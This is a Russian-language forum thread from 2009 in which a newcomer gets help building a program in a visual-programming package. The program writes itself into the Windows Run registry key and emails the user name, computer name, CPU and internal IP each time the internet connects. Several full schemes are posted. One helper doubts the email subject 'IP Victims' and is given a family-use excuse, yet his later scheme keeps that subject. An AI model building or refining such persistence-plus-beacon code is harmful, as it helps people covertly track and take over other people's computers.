Помогите пожалуйста новичку

Форумы Помощь по пакетуПомогите пожалуйста новичку ← Ctrl12Ctrl →

Этот топик читают: Гость

Ответов: 14

Рейтинг: 0

#1: 2009-05-26 00:46:28 ЛС | профиль | цитата

Проблема в том что никак не могу записать прогу в автозагрузку чтобы запускалась каждый раз после перезагрузки и отсылала письмо только тогда когда есть инет. Вот мой код code_13442.txt

карма: 0

Ответов: 108

Рейтинг: 14

#2: 2009-05-26 00:57:47 ЛС | профиль | цитата

Как вы надоели со своим радмином ...)))

code_13443.txt

карма: 0

файлы: 1

code_13443.txt [451B] [125]

Ответов: 14

Рейтинг: 0

#3: 2009-05-26 01:24:24 ЛС | профиль | цитата

ebripsy, спасибо тебе огромное работает, а на наличие инета не подскажешь?Хотелось чтобы программа отправляла одно письмо всякий раз когда появлялся доступ в инет

карма: 0

Ответов: 1397

Рейтинг: 50

#4: 2009-05-26 07:11:58 ЛС | профиль | цитата

Попробуй использовать компонент Ping из вкладки Internet или поищи схемы на форуме, которые неоднократно выкладывались.

карма: 0

Время верстки: %cr_time% Текущее время: %time%

Ответов: 14

Рейтинг: 0

#5: 2009-05-26 10:00:35 ЛС | профиль | цитата

[b]Валерий[/b], схемы искал на форуме, но так и не нашел чтобы письмо отправлялось только один раз при появлении доступа в инет. Надо что то между ping и formatstr поставить, а что не знаю может кто подскажет :?: вот схема


Add(Host,9847929,476,119)
{
}
Add(SMTP,12491947,336,245)
{
 Subject="IP"
 Port=587
 link(Body,777583:FString,[(370,234)(447,234)])
}
Add(Hub,1652025,231,182)
{
 link(onEvent1,14640313:doPart,[(251,188)(251,153)])
 link(onEvent2,7351711:doEvent1,[])
}
Add(ComputerInfo,10247823,441,119)
{
}
Add(FormatStr,777583,441,189)
{
 DataCount=4
 Mask="Имя пользователя: %1 
Имя копьютера: %2
Процессор: %3
IP внутренний: %4"
 Point(FString)
 link(Str1,10247823:UserName,[])
 link(Str2,10247823:CompName,[])
 link(Str3,10247823:CPU,[])
 link(Str4,9847929:LoacalIP,[(468,167)(489,167)])
}
Add(MainForm,1355650,175,175)
{
 Visible=1
 link(onCreate,1652025:doEvent1,[(219,195)(219,188)])
}
Add(Registry,6455422,336,147)
{
 HKey=1
 Key="SOFTWAREMicrosoftWindowsCurrentVersionRun"
 link(Data,901719:Var2,[])
}
Add(Application,2604640,336,84)
{
}
Add(FilePart,14640313,266,147)
{
 link(onName,6455422:doWrite,[])
 link(FileName,901719:Var1,[(272,128)])
}
Add(GetDataEx,901719,329,119)
{
 link(Data,2604640:AppFileName,[])
}
Add(Hub,7351711,280,189)
{
 link(onEvent1,12135325:doTimer,[])
 link(onEvent2,12491947:doSend,[(302,202)(302,251)])
}
Add(Ping,13041931,357,189)
{
 link(onFind,777583:doString,[])
}
Add(Timer,12135325,315,189)
{
 Interval=20000
 link(onTimer,13041931:doPing,[])
}

карма: 0

файлы: 2 code_13442.txt [929B] [123], code_13446.txt [1.3KB] [122]

Ответов: 3851

Рейтинг: 159

#6: 2009-05-26 10:25:44 ЛС | профиль | цитата

eclat, что-то у меня пропало желание помогать, после того как прочитал тему отправляемого в твоей схеме письма - IP Victims
может объяснишь?

карма: 0

начавший

Ответов: 14

Рейтинг: 0

#7: 2009-05-26 11:45:34 ЛС | профиль | цитата

Андрей., я схему эту собирал по кусочкам, а эту часть я вставил готовую сейчас только перевел тему письма кто то потешился.Просто мне эта прога нужна, чтоб я мог присоединиться к компу который дома, а то матери объяснять по телефону как посмотреть ip очень трудно

карма: 0

Ответов: 3851

Рейтинг: 159

#8: 2009-05-26 11:53:31 ЛС | профиль | цитата

eclat, попробуй code_13447.txt так..

карма: 0

начавший

файлы: 1

code_13447.txt [500B] [140]

Ответов: 14

Рейтинг: 0

#9: 2009-05-26 12:12:36 ЛС | профиль | цитата

[b]Андрей.[/b], не работает даже formatstr :(


Add(Host,9847929,588,119)
{
}
Add(SMTP,12491947,336,245)
{
 Subject="IP"
 Port=587
 link(Body,777583:FString,[(370,234)(559,234)])
}
Add(Hub,1652025,231,182)
{
 link(onEvent1,14640313:doPart,[(251,188)(251,153)])
 link(onEvent2,7351711:doEvent1,[])
}
Add(ComputerInfo,10247823,553,119)
{
}
Add(FormatStr,777583,553,189)
{
 DataCount=4
 Mask="Имя пользователя: %1 
Имя копьютера: %2
Процессор: %3
IP внутренний: %4"
 Point(FString)
 link(Str1,10247823:UserName,[])
 link(Str2,10247823:CompName,[])
 link(Str3,10247823:CPU,[])
 link(Str4,9847929:LoacalIP,[(580,167)(601,167)])
}
Add(MainForm,1355650,175,175)
{
 Visible=1
 link(onCreate,1652025:doEvent1,[(219,195)(219,188)])
}
Add(Registry,6455422,336,147)
{
 HKey=1
 Key="SOFTWAREMicrosoftWindowsCurrentVersionRun"
 link(Data,901719:Var2,[])
}
Add(Application,2604640,336,84)
{
}
Add(FilePart,14640313,266,147)
{
 link(onName,6455422:doWrite,[])
 link(FileName,901719:Var1,[(272,128)])
}
Add(GetDataEx,901719,329,119)
{
 link(Data,2604640:AppFileName,[])
}
Add(Hub,7351711,280,189)
{
 link(onEvent1,12135325:doTimer,[])
 link(onEvent2,12491947:doSend,[(302,202)(302,251)])
}
Add(Ping,13041931,357,189)
{
 link(onFind,2184663:doWork1,[])
 link(onFailed,2184663:doWork2,[])
}
Add(Timer,12135325,315,189)
{
 Interval=5000
 link(onTimer,13041931:doPing,[])
}
Add(ChangeMon,16046988,455,189)
{
 link(onData,11480827:doEvent,[])
}
Add(ChanelToIndex,2184663,406,189)
{
 link(onIndex,16046988:doData,[])
}
Add(IndexToChanel,11480827,504,189)
{
 link(onEvent1,777583:doString,[])
}

карма: 0

Ответов: 3851

Рейтинг: 159

#10: 2009-05-26 12:16:43 ЛС | профиль | цитата

eclat, цепочка рабочая, это легко проверить - code_13449.txt ..
------------ Дoбавленo в 12.18:
может так -

Add(Host,9847929,560,161)
{
}
Add(SMTP,12491947,623,231)
{
 Subject="IP Victims"
 Port=587
 link(Body,777583:FString,[(657,219)(677,219)(677,277)(531,277)])
}
Add(Hub,1652025,175,224)
{
 link(onEvent1,14640313:doPart,[(195,230)(195,195)])
 link(onEvent2,10860491:doWork2,[])
}
Add(ComputerInfo,10247823,525,161)
{
}
Add(FormatStr,777583,525,231)
{
 DataCount=4
 Mask="Имя пользователя: %1 
Имя копьютера: %2
Процессор: %3
IP внутренний: %4"
 Point(FString)
 link(onFString,328460:doData,[])
 link(Str1,10247823:UserName,[])
 link(Str2,10247823:CompName,[])
 link(Str3,10247823:CPU,[])
 link(Str4,9847929:LoacalIP,[(552,209)(573,209)])
}
Add(MainForm,1355650,119,210)
{
 Visible=1
 link(onCreate,1652025:doEvent1,[])
}
Add(Registry,6455422,280,189)
{
 HKey=1
 Key="SOFTWAREMicrosoftWindowsCurrentVersionRun"
 link(Data,901719:Var2,[])
}
Add(Application,2604640,280,126)
{
}
Add(FilePart,14640313,210,189)
{
 link(onName,6455422:doWrite,[])
 link(FileName,901719:Var1,[(216,170)])
}
Add(GetDataEx,901719,273,161)
{
 link(Data,2604640:AppFileName,[])
}
Add(Ping,13041931,301,231)
{
 link(onFind,2184663:doWork1,[])
 link(onFailed,2184663:doWork2,[])
}
Add(Timer,12135325,231,252)
{
 Interval=20000
 link(onTimer,10860491:doWork3,[(277,258)])
}
Add(ChangeMon,16046988,420,231)
{
 link(onData,11480827:doEvent,[])
}
Add(ChanelToIndex,2184663,364,231)
{
 link(onIndex,16046988:doData,[])
}
Add(IndexToChanel,11480827,476,231)
{
 link(onEvent1,777583:doString,[])
}
Add(DoData,328460,574,231)
{
 link(onEventData,12491947:doSend,[])
}
Add(HubEx,10860491,273,224)
{
 link(onEvent,13041931:doPing,[])
}

?.. ------------ Дoбавленo в 12.26:
для проверки в пинг введи имя ya.ru - у меня работает (ессно до formatstr)..

карма: 0

начавший

файлы: 1 code_13449.txt [518B] [142]

Ответов: 14

Рейтинг: 0

#11: 2009-05-26 12:32:40 ЛС | профиль | цитата

Андрей., теперь инфа приходит , но если я отключаюсь от инета , а потом снова подключаюсь письмо не приходит

карма: 0

Ответов: 3851

Рейтинг: 159

#12: 2009-05-26 12:34:54 ЛС | профиль | цитата

eclat писал(а):

письмо не приходит

а formatstr работает?
------------ Дoбавленo в 12.39:
да, и узнай у своего почтовика - как часто можно отсылать письма и т.д..

карма: 0

начавший

Ответов: 14

Рейтинг: 0

#13: 2009-05-26 12:53:31 ЛС | профиль | цитата

Андрей., спасибо поставил в пинг имя ya.ru и все окей кроме одного отправляет каждую минуту, а чтобы один раз после переподключения инета никак

карма: 0

Ответов: 3851

Рейтинг: 159

#14: 2009-05-26 13:04:38 ЛС | профиль | цитата

ну, я уже не знаю, что предложить..
вот это code_13452.txt у меня работает. А у тебя?

карма: 0

начавший

файлы: 1

code_13452.txt [1.1KB] [144]

Ответов: 14

Рейтинг: 0

#15: 2009-05-26 13:21:11 ЛС | профиль | цитата

Андрей., вот этот code_13449.txt работает только отсылает каждую минуту, а хотелось чтоб только один раз при подключении к инету это возможно. А этот код code_13452.txt я вообще не понял там звук должен был сработать, но его не было.

карма: 0

Форумы Помощь по пакетуПомогите пожалуйста новичку ← Ctrl12Ctrl →


Сообщение ...
Прикрепленные файлы (файлы не залиты)